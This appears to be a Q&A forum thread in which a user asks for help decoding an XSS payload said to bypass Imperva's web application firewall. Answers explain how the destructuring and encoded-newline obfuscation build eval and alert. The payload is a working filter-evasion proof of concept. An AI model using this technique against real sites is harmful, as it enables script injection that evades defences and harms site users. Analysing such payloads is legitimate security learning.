Need help decoding a cross site scripting javascript attack

515 views Asked by At

Someone posted on Twitter (not sure if I can link it here) a cross site scripting bypass for Imperva Web Application Firewalls. Which looks as follows:

<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click

%0A%0 decodes as a new line. A clickable link is created to the given URI. But all the 3:s and v+a+e etc. completely eludes me. I've tried using it in reflected, stored and DOM XSS and having mix results. Indeed in some scenarios it is not detected by an Imperva WAF, but in some it is and in many it simply doesn't result in a clickable link. The problem at this point is that I don't fully understand the javascript code. Any help is appreciated.

2

There are 2 answers

1
Endothermic_Dragon On

You're right about %0A%0D decoding to a new line! That gives: javascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)

Now let's break it down.

var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'

This says that the 3rd index of the string 'earltv' will be s, the 2nd will be h, the fifth will be a, and so on.

[self][0]

This essentially does nothing but refer to itself.

[v+a+e+s]

Now this is where the decoding starts.

v is actually e (string's index 0)

a is actually v (string's index 5)

etc.

Which decodes to eval.

Similarly, (e+s+v+h+n) decodes to alert.

So, we have:

eval(alert)(/infected/.source)

/infected/ is a regex, and .source refers to its source, which is just the string "infected".

Now, this is equivalent to:

eval (alert) ("infected")

The eval (alert) essentially returns alert's native code, so that is just alert.

alert("infected")

Now it's simple - it just alerts "infected", and that's what actually happens!

6
Miro On

In addition to the other answer, here's a simplified working demo showing what it does.

Edit: Some additional explanation

If we append [0] on a string:

let first_letter = "Hey!"[0]; //returns "H"

That means that whenever an array operation is requested on a string the string is "converted" to an array:

Therefore it's equal to:

let first_letter = ["H","e","y","!"][0]

Now, if you have an object you can populate it with an array:

let obj = {0:h,1:e,2:y,3:I} = ["H","e","y","!"];

Finally, you can combine it with Destructing:

letters = ["H","e","y","!"];
    
({0:h,1:e,2:y,3:I} = letters)
    
console.log(h,e,y,I); //returns "H" "e" "y" "!"

Quite minimal and cool to be honest :)

Original snippet:

    var {
        3: s,
        2: h,
        5: a,
        0: v,
        4: n,
        1: e
    } = 'earltv'


console.log(v + a + e + s , e + s + v + h + n, (/infected/.source));